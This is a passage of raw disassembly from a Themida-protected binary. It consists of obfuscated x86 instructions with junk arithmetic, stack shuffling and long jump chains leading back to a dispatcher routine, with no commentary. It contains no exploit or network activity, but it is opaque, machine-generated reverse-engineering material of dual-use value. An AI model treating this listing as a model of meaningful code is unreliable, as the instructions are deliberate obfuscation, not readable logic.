ebx, [esp] add esp, 4 push dx push eax mov ah, 6Dh push eax push ebx push 7288h jmp loc_5657D3 ; --------------------------------------------------------------------------- loc_55D39E: ; CODE XREF: Themida_:0056D69Aj pop dword ptr [esp] mov esp, [esp] add al, dl push dword ptr [esp] mov edx, [esp] jmp loc_55F455 ; --------------------------------------------------------------------------- loc_55D3B1: ; CODE XREF: Themida_:00565481j add esp, 4 push esi mov esi, 7EE00BCBh push ecx mov ecx, 195E7CDBh xor esi, ecx pop ecx push edi mov edi, 47A42295h jmp loc_56A33A ; --------------------------------------------------------------------------- loc_55D3D1: ; CODE XREF: Themida_:0056DFADj add bl, cl sub bl, 0E0h sub bl, 7Ch mov ecx, [esp] jmp loc_55E063 ; --------------------------------------------------------------------------- loc_55D3E1: ; CODE XREF: Themida_:0055E8E8j push ebp mov ebp, 52727529h mov esi, 0E62DD5BDh add esi, ebp jmp loc_56649F ; --------------------------------------------------------------------------- loc_55D3F3: ; CODE XREF: Themida_:0056C6C4j add eax, 4B4D44E3h mov edx, eax pop eax jmp loc_561D6C ; --------------------------------------------------------------------------- loc_55D400: ; CODE XREF: Themida_:0056D408j xchg esi, [esp] pop esp xchg ebp, [esp] mov esp, [esp] or [esp], eax pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_55D413: ; CODE XREF: Themida_:0055FB55j jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_55D418: ; CODE XREF: Themida_:00571690j sub esp, 4 mov [esp], eax mov ah, 0C3h neg ah jmp loc_561337 ; --------------------------------------------------------------------------- loc_55D427: ; CODE XREF: Themida_:0056C91Bj or ebp, 389D1F83h sub ebp, 39FD9FAFh add ecx, ebp pop ebp push edx push 56B271CAh jmp loc_57253D ; --------------------------------------------------------------------------- loc_55D441: ; CODE XREF: Themida_:0056D2A1j pop ebx xor ch, 0FEh sub al, ch pop ecx add al, 4Bh sub al, cl sub al, 4Bh add al, 9Ah pop ecx push ebx mov ebx, esp jmp loc_56485F ; --------------------------------------------------------------------------- loc_55D459: ; CODE XREF: Themida_:005661CBj mov esi, [esp] jmp loc_563FEF ; --------------------------------------------------------------------------- loc_55D461: ; CODE XREF: Themida_:0056D438j add edi, 638A7EB2h add edi, ebx sub edi, 638A7EB2h add edi, 0C200174h pop ebx sub edi, 4 xchg edi, [esp] mov esp, [esp] mov [esp], ebx mov ebx, 4B009BA4h push ecx push esp pop ecx add ecx, 4 sub ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp mov [esp], esi push 5207h jmp loc_5665AD ; --------------------------------------------------------------------------- loc_55D4B0: ; CODE XREF: Themida_:0055FCD7j shl esi, 1 shl esi, 7 or esi, 0ACB65A7h xor esi, 7CF1E853h sub ebp, esi pop esi push ecx mov ecx, 4B693397h add ecx, 13E83531h sub ebp, ecx pop ecx jmp loc_56B3A2 ; --------------------------------------------------------------------------- loc_55D4D8: ; CODE XREF: Themida_:0056A36Cj add esp, 4 push 2939h mov [esp], edi push eax mov eax, 6A806AA4h and eax, 16AC1C7Fh push ebx mov ebx, 0B5EC9547h sub eax, ebx jmp loc_560628 ; --------------------------------------------------------------------------- loc_55D4FB: ; CODE XREF: Themida_:0056E2A7j mov ebx, [esp] add esp, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] mov ax, [esp] jmp loc_56B068 ; --------------------------------------------------------------------------- loc_55D516: ; CODE XREF: Themida_:0056B093j mov [esp], edx push 317Ah mov [esp], eax push edx mov dh, 7Eh jmp loc_5700F5 ; --------------------------------------------------------------------------- loc_55D529: ; CODE XREF: Themida_:0056B337j push ebp mov ebp, 6F027EC7h jmp loc_569D18 ; --------------------------------------------------------------------------- loc_55D534: ; CODE XREF: Themida_:0056692Aj xor [esp+4], esi push dword ptr [esp] mov esi, [esp] jmp loc_56505C ; --------------------------------------------------------------------------- loc_55D543: ; CODE XREF: Themida_:0056E32Cj add edx, ecx jmp loc_5707FD ; --------------------------------------------------------------------------- loc_55D54A: ; CODE XREF: Themida_:0056CEC1j push edx mov edx, 34742E44h jmp loc_571787 ; --------------------------------------------------------------------------- mov ecx, [esp] push esi mov esi, esp jmp loc_56B3D1 ; --------------------------------------------------------------------------- loc_55D560: ; CODE XREF: Themida_:005729D7j xchg esi, [esp] jmp loc_55DBC4 ; --------------------------------------------------------------------------- loc_55D568: ; CODE XREF: Themida_:0055E287j add ebp, 69554C55h sub ebp, 5DDD3615h pop esi jmp loc_571F23 ; --------------------------------------------------------------------------- loc_55D57A: ; CODE XREF: Themida_:0055ECE2j pop edi sub edi, 3E2F6AFDh add edi, ebx jmp loc_560563 ; --------------------------------------------------------------------------- loc_55D588: ; CODE XREF: Themida_:005723A8j add edx, 75BC4F2Bh add edx, ebp sub edx, 75BC4F2Bh jmp loc_56E1FD ; --------------------------------------------------------------------------- lodsd cmp dword ptr [edi+20h], 0 jz loc_566217 add esi, 24887364h push ebx mov ebx, 0DC7C6Bh jmp loc_566153 ; --------------------------------------------------------------------------- loc_55D5B7: ; CODE XREF: Themida_:0056FE2Ej push edx mov edx, 480B2114h jmp loc_56CDA2 ; --------------------------------------------------------------------------- loc_55D5C2: ; CODE XREF: Themida_:00564477j mov eax, [esp] push ebp push esp jmp loc_56C11D ; --------------------------------------------------------------------------- lodsw push esi jmp loc_5668A2 ; --------------------------------------------------------------------------- loc_55D5D4: ; CODE XREF: Themida_:0055E62Aj sub ecx, esi mov esi, [esp] jmp loc_5687FE ; --------------------------------------------------------------------------- loc_55D5DE: ; CODE XREF: Themida_:0055F415j sub edi, ecx pop ecx shl edi, 5 sub esp, 4 jmp loc_56C8B8 ; --------------------------------------------------------------------------- loc_55D5EF: ; CODE XREF: Themida_:005615BAj pop esp jmp loc_55DFE6 ; --------------------------------------------------------------------------- loc_55D5F5: ; CODE XREF: Themida_:005674ADj mov [esp], edi jmp loc_56BF35 ; --------------------------------------------------------------------------- loc_55D5FD: ; CODE XREF: Themida_:005629C5j xor [esp], ebp xor ebp, [esp] pop esp push edi mov edi, 2 add eax, edi jmp loc_55F3C2 ; --------------------------------------------------------------------------- loc_55D611: ; CODE XREF: Themida_:0056167Aj mov edi, 4B603F63h add edi, 3A404E49h jmp loc_56E8A4 ; --------------------------------------------------------------------------- loc_55D621: ; CODE XREF: Themida_:00566467j xchg ebx, [esp] mov esp, [esp] jmp loc_565296 ; --------------------------------------------------------------------------- loc_55D62C: ; CODE XREF: Themida_:0056BB6Ej add ebx, 0DFF72420h add ebx, edi push edx jmp loc_56E7C1 ; --------------------------------------------------------------------------- loc_55D63A: ; CODE XREF: Themida_:0056B29Cj mov ecx, 4 sub eax, 44115E7Fh add eax, ecx add eax, 44115E7Fh mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], ebx push esi mov esi, 282C7200h push esi add dword ptr [esp], 252947B3h pop ebx sub ebx, 252947B3h pop esi sub esp, 4 mov [esp], ecx mov ecx, 7D1347E6h add ecx, 0AB192A1Ch xor ebx, ecx pop ecx push edx mov edx, 58E82A00h sub eax, edx mov edx, [esp] add esp, 4 jmp loc_56E2A0 ; --------------------------------------------------------------------------- loc_55D69A: ; CODE XREF: Themida_:00563650j mov [esp], edi push dword ptr [esp+4] mov edi, [esp] add esp, 4 pop dword ptr [esp] pop esp mov [esp], edx push edi mov edi, 1F486699h push edi pop edx pop edi sub edx, 0E60DD72Fh xor eax, edx push dword ptr [esp] pop edx push edx jmp loc_568C07 ; --------------------------------------------------------------------------- loc_55D6CC: ; CODE XREF: Themida_:00560547j pop esp jmp loc_569915 ; --------------------------------------------------------------------------- loc_55D6D2: ; CODE XREF: Themida_:0056116Dj not ebx sub ebx, 5F8A32CFh add ebx, 0E2AD219h mov ecx, ebx pop ebx and ecx, 748F1CBCh shl ecx, 3 add ecx, 7E3370A0h jmp loc_56B84E ; --------------------------------------------------------------------------- loc_55D6F7: ; CODE XREF: Themida_:0056545Ej and esi, 13C01282h sub esi, 26E930F5h shl esi, 6 jmp loc_5626F5 ; --------------------------------------------------------------------------- loc_55D70B: ; CODE XREF: Themida_:0056557Aj mov edx, 68AC4E35h push edx push ebx mov ebx, 71A1355h add [esp+4], ebx pop ebx pop edi sub edi, 71A1355h pop edx mov edx, edi pop edi jmp loc_56C4A5 ; --------------------------------------------------------------------------- loc_55D72C: ; CODE XREF: Themida_:0056EFBAj push ebx mov ebx, 4 add esi, ebx pop ebx push eax mov eax, 7AAF11B2h shl eax, 7 jmp loc_55DC52 ; --------------------------------------------------------------------------- loc_55D743: ; CODE XREF: Themida_:0056177Dj push ebx mov ebx, 0EC85888h add ebp, ebx pop ebx pop edi push eax mov eax, 2 add ebp, eax pop eax push ebp push dword ptr [esp+4] jmp loc_566C17 ; --------------------------------------------------------------------------- loc_55D760: ; CODE XREF: Themida_:0055F2BFj neg ebp jmp loc_564D26 ; --------------------------------------------------------------------------- loc_55D767: ; CODE XREF: Themida_:0056AAD2j add ebp, 73C30CC7h jmp loc_56A9CB ; --------------------------------------------------------------------------- loc_55D772: ; CODE XREF: Themida_:0056B5B2j sub esi, ebx pop ebx push edi mov edi, 3B56E0Dh or edi, 309732F6h shl edi, 4 and edi, 142126E9h add edi, 226BE3E1h add esi, edi pop edi add esi, eax sub esi, 328D0AC1h add esi, 7F552E03h sub esp, 4 jmp loc_563B4C ; --------------------------------------------------------------------------- loc_55D7AC: ; CODE XREF: Themida_:0056F313j add ebp, edi pop edi jmp loc_562903 ; --------------------------------------------------------------------------- loc_55D7B4: ; CODE XREF: Themida_:0056D91Cj add ecx, 4 xchg ecx, [esp] mov esp, [esp] push dword ptr [esp] jmp loc_569B46 ; --------------------------------------------------------------------------- loc_55D7C8: ; CODE XREF: Themida_:0056A46Fj shl ch, 6 push ebx jmp loc_55F188 ; --------------------------------------------------------------------------- loc_55D7D1: ; CODE XREF: Themida_:00562747j pop eax or edi, 7D10175Dh add edi, 374D274Eh and edi, 0AFC7B44h shl edi, 6 xor edi, 1210C104h add ebx, edi pop edi push esi jmp loc_56D8AE ; --------------------------------------------------------------------------- loc_55D7F6: ; CODE XREF: Themida_:00566BFEj push edx mov dh, 29h not dh add dh, 0C0h shl dh, 3 jmp loc_56759A ; --------------------------------------------------------------------------- loc_55D806: ; CODE XREF: Themida_:00566730j mov ecx, 0A555C368h jmp loc_565607 ; --------------------------------------------------------------------------- loc_55D810: ; CODE XREF: Themida_:0056D428j mov ecx, 672D0358h or edx, ecx pop ecx add edx, 10426C28h add ebp, 75975D85h add ebp, edx sub ebp, 75975D85h pop edx push esi push ebx push 69AA1F91h pop ebx inc ebx sub ebx, 686AC31h mov esi, ebx jmp loc_562273 ; --------------------------------------------------------------------------- loc_55D843: ; CODE XREF: Themida_:0055F851j mov [esp], si jmp loc_55FDEF ; --------------------------------------------------------------------------- loc_55D84C: ; CODE XREF: Themida_:00565EFBj mov ebx, 0 jmp loc_56F1D7 ; --------------------------------------------------------------------------- loc_55D856: ; CODE XREF: Themida_:0055DD1Dj push esi mov esi, 260C7109h and esi, 61DA0A18h jmp loc_562885 ; --------------------------------------------------------------------------- loc_55D867: ; CODE XREF: Themida_:0057281Cj xchg edx, [esp] jmp loc_56D1D9 ; --------------------------------------------------------------------------- loc_55D86F: ; CODE XREF: Themida_:00563F3Fj sub edi, 50A57C5Ch jmp loc_565257 ; --------------------------------------------------------------------------- loc_55D87A: ; CODE XREF: Themida_:00564BACj sub esi, 4 jmp loc_560909 ; --------------------------------------------------------------------------- loc_55D885: ; CODE XREF: Themida_:0056F073j mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_56538E ; --------------------------------------------------------------------------- loc_55D898: ; CODE XREF: Themida_:0056987Dj or edx, eax jmp loc_568E5A ; --------------------------------------------------------------------------- loc_55D89F: ; CODE XREF: Themida_:0056FC66j add esp, 4 sub edi, 58C97805h add edi, esi add edi, 58C97805h mov esi, [esp] push ebx mov ebx, esp push eax jmp loc_569C06 ; --------------------------------------------------------------------------- loc_55D8BF: ; CODE XREF: Themida_:0056F81Fj sub esi, 30744B47h jmp loc_56CD24 ; --------------------------------------------------------------------------- loc_55D8CA: ; CODE XREF: Themida_:0056E782j add [esp], eax pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_55D8D3: ; CODE XREF: Themida_:00568696j pop ebx jmp loc_56D46F ; --------------------------------------------------------------------------- loc_55D8D9: ; CODE XREF: Themida_:005626E3j add edx, 2 xchg edx, [esp] pop esp jmp loc_568D86 ; --------------------------------------------------------------------------- loc_55D8E8: ; CODE XREF: Themida_:00571DD6j add esp, 4 or edx, eax shl edx, 1 jmp loc_56C89E ; --------------------------------------------------------------------------- loc_55D8F4: ; CODE XREF: Themida_:0056D4B3j xor [esp], esi xor esi, [esp] pop esp mov edx, [esp] push eax mov eax, esp push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push 5C40h mov [esp], edx mov edx, 41617875h jmp loc_570C39 ; --------------------------------------------------------------------------- loc_55D929: ; CODE XREF: Themida_:0056E6FFj add edx, 4 add edx, 4 xchg edx, [esp] pop esp push ebx push edi push 1A45079Eh jmp loc_56DD6B ; --------------------------------------------------------------------------- loc_55D945: ; CODE XREF: Themida_:005622F3j sub ecx, 3D9471BDh jmp loc_564454 ; --------------------------------------------------------------------------- loc_55D950: ; CODE XREF: Themida_:005644FBj add bl, ah pop eax push small 58E7h mov [esp], dx mov dl, 2Ah jmp loc_56F376 ; --------------------------------------------------------------------------- loc_55D962: ; CODE XREF: Themida_:005603D0j imul cl movzx cx, ah push small 4ADh mov [esp], cx movzx cx, al push cx pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_55D97C: ; CODE XREF: Themida_:005635ABj add ebx, edx pop edx pop ecx jmp loc_569E10 ; --------------------------------------------------------------------------- loc_55D985: ; CODE XREF: Themida_:005679ECj sub eax, 74800CBFh or eax, 270915ECh push ecx push 6F83h mov [esp], edx jmp loc_562824 ; --------------------------------------------------------------------------- loc_55D99D: ; CODE XREF: Themida_:0055ED42j pop edi add ecx, 0EE1B5B29h push ecx pop edi pop ecx sub esp, 4 mov [esp], edx push 3F6171FBh jmp loc_56CE7A ; --------------------------------------------------------------------------- loc_55D9BA: ; CODE XREF: Themida_:00564B09j pop ecx push eax mov eax, 2D243C77h jmp loc_560C57 ; --------------------------------------------------------------------------- loc_55D9C6: ; CODE XREF: Themida_:0055F308j pop esp push dword ptr [esp] jmp loc_56C61F ; --------------------------------------------------------------------------- loc_55D9CF: ; CODE XREF: Themida_:005632DDj sub edx, edi pop edi mov ebp, [esp] add esp, 4 add edx, 146E1FEAh jmp loc_5704B3 ; --------------------------------------------------------------------------- loc_55D9E3: ; CODE XREF: Themida_:00562714j xor [esp], ecx sub esp, 4 mov [esp], ecx push esi push dword ptr [esp+4] pop esi jmp loc_56900D ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb [esp], ax pushf jmp loc_55DAF2 ; --------------------------------------------------------------------------- loc_55DA07: ; CODE XREF: Themida_:005618BBj pop ebx shl ebx, 7 shl ebx, 2 xor ebx, 0A8E01404h mov eax, ebx pop ebx add ecx, eax pop eax xchg ecx, [esp] pop esp push dword ptr [esp] pop edx jmp loc_5634E2 ; --------------------------------------------------------------------------- loc_55DA27: ; CODE XREF: Themida_:00560FCBj push edx mov edx, 2B1F5062h and ebx, edx jmp loc_563BB1 ; --------------------------------------------------------------------------- loc_55DA34: ; CODE XREF: Themida_:00564ABEj inc ecx xchg eax, ecx neg eax jmp loc_5615D3 ; --------------------------------------------------------------------------- loc_55DA3D: ; CODE XREF: Themida_:0055F695j add esp, 4 shr edx, 7 jmp loc_56DC85 ; --------------------------------------------------------------------------- loc_55DA48: ; CODE XREF: Themida_:005619E5j dec edi push ecx jmp loc_56368A ; --------------------------------------------------------------------------- loc_55DA4F: ; CODE XREF: Themida_:00571336j mov edx, [esp] add esp, 4 and ch, al pop ax shl ch, 4 jmp loc_569289 ; --------------------------------------------------------------------------- loc_55DA64: ; CODE XREF: Themida_:0057042Bj add esi, 4 push edi mov edi, 70702E58h jmp loc_56C9AA ; --------------------------------------------------------------------------- loc_55DA75: ; CODE XREF: Themida_:00570C26j neg dl add dl, 0FFh push ecx jmp loc_56C1A9 ; --------------------------------------------------------------------------- loc_55DA80: ; CODE XREF: Themida_:0056BD36j pop edx sub ch, dh sub ch, 60h mov dx, [esp] add esp, 2 push edx jmp loc_56E370 ; --------------------------------------------------------------------------- loc_55DA96: ; CODE XREF: Themida_:0056B8F4j pop eax jmp loc_56BA39 ; --------------------------------------------------------------------------- loc_55DA9C: ; CODE XREF: Themida_:0056E82Ej and esi, edi pop edi jmp loc_56C6C9 ; --------------------------------------------------------------------------- loc_55DAA4: ; CODE XREF: Themida_:00565341j add ecx, 4 xchg ecx, [esp] pop esp sub esp, 4 mov [esp], edx mov edx, 585450E3h sub edx, 1 not edx or edx, 6641670Eh push esi push edi push 53B40D27h mov edi, [esp] add esp, 4 add edi, 53FFA0CDh mov esi, edi pop edi jmp loc_55EC44 ; --------------------------------------------------------------------------- loc_55DAE2: ; CODE XREF: Themida_:0056071Fj xor ebp, ecx xor ecx, ebp push ecx jmp loc_55EF93 ; --------------------------------------------------------------------------- loc_55DAEC: ; CODE XREF: Themida_:005603F2j push ebp jmp loc_565E9B ; --------------------------------------------------------------------------- loc_55DAF2: ; CODE XREF: Themida_:0055DA02j jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_55DAF7: ; CODE XREF: Themida_:0056F03Ej inc edi xor edi, 0C4D4E96Fh xor ebp, edi pop edi add eax, ebp jmp loc_56D456 ; --------------------------------------------------------------------------- loc_55DB08: ; CODE XREF: Themida_:00567688j xor cl, 0Eh jmp loc_5603B3 ; --------------------------------------------------------------------------- loc_55DB10: ; CODE XREF: Themida_:0056F932j pop esp mov ax, [esp] push 0B7Ch mov [esp], edx jmp loc_561AEF ; --------------------------------------------------------------------------- loc_55DB22: ; CODE XREF: Themida_:00565E14j add eax, ebp pop ebp sub esp, 4 mov [esp], ebx mov bh, cl mov [eax], bh mov ebx, [esp] add esp, 4 jmp loc_566A0A ; --------------------------------------------------------------------------- loc_55DB3A: ; CODE XREF: Themida_:0056B39Dj mov edi, 75A3166h push ebp jmp loc_55E100 ; --------------------------------------------------------------------------- loc_55DB45: ; CODE XREF: Themida_:00572ABDj xor edx, [esp] jmp loc_56B0AC ; --------------------------------------------------------------------------- loc_55DB4D: ; CODE XREF: Themida_:005611DBj mov ecx, 4B634909h sub ecx, 11BC4B2Ch xor ecx, 23DE13E5h jmp loc_56C920 ; --------------------------------------------------------------------------- loc_55DB63: ; CODE XREF: Themida_:00567E25j add esp, 4 jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_55DB6E: ; CODE XREF: Themida_:00570AAEj mov [esp], ebp push esp pop ebp add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] jmp loc_561EFC ; --------------------------------------------------------------------------- loc_55DB8D: ; CODE XREF: Themida_:0056ECADj mov ebp, 4 jmp loc_57113F ; --------------------------------------------------------------------------- lodsd xor eax, ebx jmp loc_567BE4 ; --------------------------------------------------------------------------- loc_55DB9F: ; CODE XREF: Themida_:0057280Ej mov eax, edi pop edi sub esp, 4 mov [esp], eax add dword ptr [esp], 536E4334h mov edi, [esp] add esp, 4 sub edi, 536E4334h pop eax jmp loc_57171F ; --------------------------------------------------------------------------- loc_55DBC4: ; CODE XREF: Themida_:0055D563j push 4B9Bh mov [esp], ebp mov ebp, esp add ebp, 4 jmp loc_56C482 ; --------------------------------------------------------------------------- loc_55DBD9: ; CODE XREF: Themida_:00566F02j xor edi, [esp] mov esp, [esp] jmp loc_57094D ; --------------------------------------------------------------------------- loc_55DBE4: ; CODE XREF: Themida_:00572728j push ebp mov ebp, 58EA48CFh jmp loc_56CA8A ; --------------------------------------------------------------------------- loc_55DBEF: ; CODE XREF: Themida_:00564AA0j xchg ebp, [esp] pop esp mov [esp], ebx mov ebx, 0BFE00002h add esi, ebx pop ebx jmp loc_560DD8 ; --------------------------------------------------------------------------- loc_55DC03: ; CODE XREF: Themida_:00565AB6j mov [esp], eax push esp jmp loc_55E17C ; --------------------------------------------------------------------------- loc_55DC0C: ; CODE XREF: Themida_:00561332j add ebx, 7905887h sub ebx, eax sub ebx, 7905887h jmp loc_56989F ; --------------------------------------------------------------------------- loc_55DC1F: ; CODE XREF: Themida_:0055FD98j shr cl, 6 sub cl, 0CAh jmp loc_5713AA ; --------------------------------------------------------------------------- loc_55DC2A: ; CODE XREF: Themida_:00567781j add ebx, esi sub ebx, 3BFB5464h add ebx, 27906B52h push ebp jmp loc_5697BD ; --------------------------------------------------------------------------- loc_55DC3E: ; CODE XREF: Themida_:005719D2j push esp pop eax add eax, 4 push edi mov edi, 4 add eax, edi jmp loc_560995 ; --------------------------------------------------------------------------- loc_55DC52: ; CODE XREF: Themida_:0055D73Ej and eax, 4B8E4FB4h jmp loc_55DD02 ; --------------------------------------------------------------------------- loc_55DC5C: ; CODE XREF: Themida_:00561026j push 4 mov edx, [esp] add esp, 4 sub eax, 7BAB6621h add eax, edx add eax, 7BAB6621h push dword ptr [esp] pop edx add esp, 4 push 2F3Ah jmp loc_56A017 ; --------------------------------------------------------------------------- loc_55DC87: ; CODE XREF: Themida_:0056AFB3j sub esi, 18A13D9Dh xor esi, 47309834h jmp loc_56BCFF ; --------------------------------------------------------------------------- loc_55DC98: ; CODE XREF: Themida_:0055EFACj xor ecx, [esp] mov esp, [esp] add eax, 2 xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_5716F8 ; --------------------------------------------------------------------------- loc_55DCB1: ; CODE XREF: Themida_:0056B4C2j push dword ptr [esp+4] mov ebx, [esp] add esp, 4 jmp loc_56045E ; --------------------------------------------------------------------------- loc_55DCC0: ; CODE XREF: Themida_:0056E120j push ebx push esp pop ebx add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_570D15 ; --------------------------------------------------------------------------- loc_55DCD8: ; CODE XREF: Themida_:005638C8j add esp, 4 push ebp mov ebp, 0DB430F8h and ebp, 68A82996h sub ebp, 3CA2E3CFh add esi, ebp pop ebp sub eax, 4BED451Bh add eax, esi add eax, 4BED451Bh pop esi jmp loc_56855C ; --------------------------------------------------------------------------- loc_55DD02: ; CODE XREF: Themida_:0055DC57j neg eax push eax dec dword ptr [esp] pop eax shr eax, 7 add eax, 0FE871097h add esi, eax pop eax jmp loc_55FB8F ; --------------------------------------------------------------------------- loc_55DD19: ; CODE XREF: Themida_:00560B32j pop edi shl ebx, 7 jmp loc_55D856 ; --------------------------------------------------------------------------- loc_55DD22: ; CODE XREF: Themida_:00563AB2j push dword ptr [esp] jmp loc_56352B ; --------------------------------------------------------------------------- loc_55DD2A: ; CODE XREF: Themida_:0056B6EEj push ebp push esi mov ebp, [esp] add esp, 4 pop esi or ebp, 265A47F9h sub esp, 4 jmp loc_5679F1 ; --------------------------------------------------------------------------- loc_55DD44: ; CODE XREF: Themida_:0057208Cj xor ebx, 16E2481Ch add esi, ebx pop ebx jmp loc_55E895 ; --------------------------------------------------------------------------- loc_55DD52: ; CODE XREF: Themida_:00568985j mov [esp], ebp push 2C346B3Ah pop ebp jmp loc_55FE0E ; --------------------------------------------------------------------------- loc_55DD60: ; CODE XREF: Themida_:00563C5Bj push 131C30E0h jmp loc_5663A0 ; --------------------------------------------------------------------------- loc_55DD6A: ; CODE XREF: Themida_:0056DB90j and bh, 71h add bh, 57h add al, bh jmp loc_5645D5 ; --------------------------------------------------------------------------- loc_55DD77: ; CODE XREF: Themida_:00561E22j sub esp, 4 mov [esp], eax push ebx jmp loc_57197F ; --------------------------------------------------------------------------- loc_55DD86: ; CODE XREF: Themida_:0056F83Bj mov edi, 4 sub ebp, 22F41FB7h jmp loc_568E21 ; --------------------------------------------------------------------------- loc_55DD96: ; CODE XREF: Themida_:00571B45j mov [esp], edx mov edx, 10503636h add eax, edx pop edx sub eax, ebx sub esp, 4 mov [esp], edi push eax push 264A4075h pop eax xor eax, 75215A3Bh mov edi, eax pop eax push 0 sub [esp], edi jmp loc_55F262 ; --------------------------------------------------------------------------- loc_55DDC5: ; CODE XREF: Themida_:0056CE09j or eax, eax jz loc_5652A0 push 1559h mov [esp], ecx push 576h mov [esp], eax push 904774Eh push dword ptr [esp] pop eax jmp loc_56B559 ; --------------------------------------------------------------------------- loc_55DDEB: ; CODE XREF: Themida_:0055F3E3j push edi mov edi, 53726535h sub ebx, edi pop edi add ebx, ecx add ebx, 53726535h sub ebx, 7F8A6F3Fh pop ecx push esi mov esi, 509B3C33h push ecx mov ecx, 5E142E2Eh or ecx, 46CA4C93h shl ecx, 3 not ecx sub ecx, 0C0ED13A8h jmp loc_562D08 ; --------------------------------------------------------------------------- loc_55DE25: ; CODE XREF: Themida_:0055FEF3j add eax, esi jmp loc_56D4FC ; --------------------------------------------------------------------------- loc_55DE2C: ; CODE XREF: Themida_:005690FCj mov ebp, esp jmp loc_56BC53 ; --------------------------------------------------------------------------- loc_55DE33: ; CODE XREF: Themida_:0056BC45j mov [esp], ebp jmp loc_5634C9 ; --------------------------------------------------------------------------- loc_55DE3B: ; CODE XREF: Themida_:00571823j pop ebx push esi jmp loc_5725BE ; --------------------------------------------------------------------------- loc_55DE42: ; CODE XREF: Themida_:00570B5Fj add ecx, edx pop edx add ecx, 4 xchg ecx, [esp] pop esp add [esp+4], esi mov esi, [esp] add esp, 4 pop dword ptr [edi+24h] loc_55DE5C: ; CODE XREF: Themida_:0056F001j push ebx jmp loc_569C3E ; --------------------------------------------------------------------------- loc_55DE62: ; CODE XREF: Themida_:00563411j add esp, 4 push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ecx mov ecx, 267879C2h xor ecx, 18573C41h sub ecx, 0EC4038B5h inc ecx xor ecx, 51EF0CCDh push ecx jmp loc_55EAA5 ; --------------------------------------------------------------------------- loc_55DE99: ; CODE XREF: Themida_:005617A6j push esp pop dword ptr [esp] add dword ptr [esp], 4 mov edi, [esp] jmp loc_569543 ; --------------------------------------------------------------------------- loc_55DEA9: ; CODE XREF: Themida_:0056FD69j sub ecx, ebp add ecx, 0C295DD5h jmp loc_5604A1 ; --------------------------------------------------------------------------- loc_55DEB6: ; CODE XREF: Themida_:0056029Ej xor [esp+4], ecx mov ecx, [esp] add esp, 4 pop dword ptr [edi+20h] jmp loc_5651A6 ; --------------------------------------------------------------------------- loc_55DECB: ; CODE XREF: Themida_:0057196Bj xchg eax, ecx shl ecx, 4 sub ecx, 33D264D3h add ecx, 3CDF0593h sub ebp, ecx pop ecx jmp loc_55F61D ; =============== S U B R O U T I N E ======================================= sub_55DEE3 proc near ; CODE XREF: sub_571676-2FB0j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00564145 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056BDAD SIZE 0000001E BYTES push ebx mov bh, 5Ah push ebx mov bh, 34h mov dl, 0FFh xor dl, bh pop ebx sub dl, bh pop ebx add dl, 0C9h sub dl, 24h sub esp, 4 mov [esp+4+var_4], ecx push ebx mov bl, 21h add bl, 6Dh mov ch, bl pop ebx add dl, ch jmp loc_564145 sub_55DEE3 endp ; --------------------------------------------------------------------------- loc_55DF0D: ; CODE XREF: Themida_:00565897j push edx push eax mov eax, 0DBE18F0h jmp loc_5727F6 ; --------------------------------------------------------------------------- loc_55DF19: ; CODE XREF: Themida_:0056E9E4j add ebx, edi mov edi, [esp] add esp, 4 jmp loc_565F75 ; --------------------------------------------------------------------------- loc_55DF26: ; CODE XREF: Themida_:0056842Cj neg ecx inc ecx jmp loc_55E0DE ; --------------------------------------------------------------------------- loc_55DF2E: ; CODE XREF: Themida_:00567BDFj mov eax, [esp] add esp, 4 jmp loc_568999 ; --------------------------------------------------------------------------- loc_55DF3C: ; CODE XREF: Themida_:0055FE7Aj mul cl movzx cx, ah push small 43EEh mov [esp], cx movzx cx, al push cx pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_55DF56: ; CODE XREF: Themida_:00570562j add esi, edx pop edx add esi, 4 xchg esi, [esp] jmp loc_56E970 ; --------------------------------------------------------------------------- loc_55DF67: ; CODE XREF: Themida_:00561031j pop dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 jmp loc_570BCE ; --------------------------------------------------------------------------- loc_55DF79: ; CODE XREF: Themida_:00560FABj mov edi, 40277253h mov ebp, 0D8D2B880h add ebp, edi jmp loc_56A1D7 ; --------------------------------------------------------------------------- loc_55DF8A: ; CODE XREF: Themida_:00563BACj push esi mov esi, 2DA7F59h jmp loc_5659E1 ; --------------------------------------------------------------------------- loc_55DF95: ; CODE XREF: Themida_:0056E5E9j mov ebp, 3546799Eh shr ebp, 8 add ebp, 47C26F30h dec ebp xor ebp, 47F7B5ACh add ebx, ebp pop ebp push 5293h mov [esp], ecx mov ecx, 2 push eax mov eax, 3A350E5Eh sub ebx, eax mov eax, [esp] add esp, 4 sub ebx, ecx push ebp mov ebp, 2C0F2495h jmp loc_5633C8 ; --------------------------------------------------------------------------- loc_55DFD8: ; CODE XREF: Themida_:0056E18Dj mov [esp], edi pop edx pop edi mov eax, edx pop edx push esi jmp loc_56EA43 ; --------------------------------------------------------------------------- loc_55DFE6: ; CODE XREF: Themida_:0055D5F0j mov [esp], ebp mov ebp, esp add ebp, 4 push eax push 5B3Dh mov [esp], ebx jmp loc_56EF4A ; --------------------------------------------------------------------------- loc_55DFFF: ; CODE XREF: Themida_:00561B52j pop edi push esi mov esi, 0A16B9B5Ah sub eax, 50272CFFh jmp loc_56F735 ; --------------------------------------------------------------------------- loc_55E010: ; CODE XREF: Themida_:0056B014j push 40DAh mov [esp], ebx 